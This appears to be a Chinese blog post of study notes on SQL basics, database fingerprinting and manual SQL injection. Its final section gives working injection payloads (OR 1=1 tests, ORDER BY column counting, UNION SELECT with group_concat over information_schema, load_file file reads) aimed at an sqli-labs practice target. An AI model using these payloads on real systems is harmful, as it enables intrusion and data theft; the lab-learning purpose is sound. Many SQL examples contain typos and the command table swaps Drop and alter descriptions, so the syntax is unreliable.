SQL基础语法

SQL基础语法

常见主流数据库产品

识别数据库方法

SQL注入利用方法

SQL (Structured Query Language) 是具有数据操纵和数据定义等多种功能的数据库语言,这种语言具有交互性特点,能为用户提供极大的便利,数据库管理系统应充分利用SQL语言提高计算机应用系统的工作质量与效率。SQL语言不仅能独立应用于终端,还可以作为子语言为其他程序设计提供有效助力,该程序应用中,SQL可与其他程序语言一起优化程序功能,进而为用户提供更多更全面的信息。
SQL Server数据库包括Microsoft SQL Server以及Sybase SQL
Server两个子数据库,该数据库能否正常运行直接关系着整个计算机系统的运行安全。

数据库基础操作详情

创建(create)
create table [表名]
(column_name data_type(size));
表名 数据类型
创建一个Persons表,包含五列ID、lastname、firstname、address、city
create table Persons
(ID int,

lastname char (25),  //(25)字节
firstanme char (25),
address char (40),
city char (20));

删除(drop)

drop table; #删除表
drop database #删除数据库

查询(select)

select ID,lastname form table_name  #选择 ID lastname 从 table_name中寻找。

插入(insert into)

INSERT INTO table_name (ID,name,url,serve)  
VALUES (value1,vlaue2,value3,value4);    //column 列   //value 值 

注:插入信息到value_name 插入的列分别为ID,name,url,serve 插入的值是value1-4
例:INSERT INTO web_set(name,url,country)
VALUES ("百度",www.baidu.com,"中国");

更改(UPDATE)

UPDATE websites
SET
conlmn1=value1,column2=value2,……
WHERE some_column=some_value;

注:更新websites中name为菜鸟教学的alexa值与conuntry值修改为value1,value2
UPDATE table_name SET alexa='5000',country='USA' WHERE name='菜鸟'

删除(delete)
DELETE FORM table_name

WHERE some_column=some_vlaue

要从 "Websites" 表中删除网站名为 "Facebook" 且国家为 USA 的网站。
DELETE FROM websites WHERE name='wensites' AND country='USA';

权限(grant)

Grant <权限> on 表名[(列名)] to 用户 with grant option		#背景色为固定

例: 用授权命令grant给user1添加查询的权限:
Grant select on Student to user1 with grant option

回收权限(revoke)
REVOKE <权限> ON <数据对象> FROM <数据库用户名>

Revoke select on student from user1    //回收来自user1(数据库)中student表(数据对象)的查询权限 

SELECT INTO OUTFILE

SELECT ‘darkmmon1’ from darkmoon INTO OUTFILE ‘path’ //导出数据到系统某个目录下

LIKE语法

选取 name 以"G"开始的所有客户:
SELECT * FROM Websites WHERE name LIKE 'G%';  //%代表多个字符 _代表一个字符
查询来自Websites中所有name列中以G开头的值。

排序 order by

select * from zhao order by user_ID;   //将名为zhao的表中所有内容按照升序排列。
order by:要是后面跟着数字超过字段数的时候,则会报错!通过这个可以确定字段数。
ASC:	升序
DESC:降序

分组 group by

select name,COUNT(*)FORM test_table GROUP BY name;

作用:通过一定的规则将数据集划分为若干个小的区域,然后针对若干个小区域进行数据处理。
注:group by 是先排序后分组
聚合函数:sum()、count()、avg()
限定条数 limit

select * from test_table limit 0,10 //找寻指定表中的一到十行信息。

limit记录开始的index,从0开始,表示第一条数据
组合使用

selcet * from table_name limit 0,5 order by user_id;

load_file

函数load_file(file_bath)//读取文件并将文件内容按照字符串的格式返回。
load_file()用在mysql中可以在unoin中充当一个字段,读取web服务器的文件
例:
服务器上文件:d:/test.txt 里面内容是:“key:Hello,word” 用load_file读取出来

selct * form hehe where id=3 and 1=2 union select 0,

load_file("d:/test.txt"),count(*)from mysql.user;

一、主流数据库

1、Microsoft SQL Server
SQL Server 是关系型数据库管理系统。
具有使用方便可伸缩性与相关软件集成程度高等优点
2、MySQL
Mysql是现在主流的关系型数据库管理系统,在WEB应用方面MySQL是最好的关系数据库管理系统应用软件之一
Mysql数据库连接方式
Linux:mysql-u root -p

PHP连接
mysqil_connet(host,username,pssword,dbname,port,socket);

3、PostgreSQL
postgreSQL是一个开源对象关系数据库管理系统。
稳定性极强,用于安全地存储数据

二、识别数据库

1、识别数据库方法
盲跟踪
Web应用技术
不同数据库SQL语句差异
非盲跟踪
报错、直接查询

2、数据库版本查询

mssql 	select @@version
MySQL	select version() / select @@version
Oracle 	select banner from $version
Postgresql	select version()

3、根据网页编程语言去判断
常见搭配:
ASP和.NET:Microsoft SQL server
PHP:Mysql、PostgreSQL
Java:Oracle、MySQL

三、SQL语法基础概括

1、用于关系型数据库交互的标准SQL命令
create、SELECT、insert、update、delete、drop //最上

2、分为三组:
数据定义【Create、Drop】
数据操纵【Select、Insert、Update、Delete】
数据控制【Grant、Revoke】
命令 描述
Create 创建新的表、视图或其他数据库中的对象
Drop 修改现存数据对象,比如一张表
alter 删除表、视图或者数据库中的其他对象

Select 从一张或多张表中检索特定的数据
Insert 创建一条新的记录
Update 修改记录
Delete 删除记录

Grant 赋予用户特权
Revoke 收回赋予用户的特权
增删改查等语法上面。。。。。

四、挖掘SQL注入(利用)**

1、使用逻辑进行确认
OR 1= 1
OR 1=2
AND 1=1
AND 1=2

2、识别数据库
要想成功发动SQL注入攻击,首先要确定数据库的类型这样才能使注入工作具有针对性
关于数据库版本的查询:
Mssql select@@version
Mysql select version()/ select @@version
Oracle select banner form $version
Postgresql select version()

3、盲跟踪
web应用技术
不同数据库sql语句差异
4、非盲跟踪
报错查询
5、使用Uinon语句提取数据

select column-1,column-2,....column- n from table-1

6、如果允许重复的值,是要使用 Union ALL

select column-1,column-2,....colum-n from table-1

7、匹配列
主要两种方式:

union select,NULL,NULL,NULL.... 知道匹配对应列返回为真
order by3,order by4 ...... 当列数小于或者等于当前列的时候返回正常
列:
http://123.59.116.191/sqli-labs-master/Less-1/?id=union select 1,2,3---
----------?id=1' order by 1 --

8、常见手工注入sql语句:
查看security库数据表

union select 1,(select group_concat(table_name)form information_schema.tables where table_schema='security'),'3

查看数据库

union select 1,(select group_concat(table_name)form information_schema.schemata),'3
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值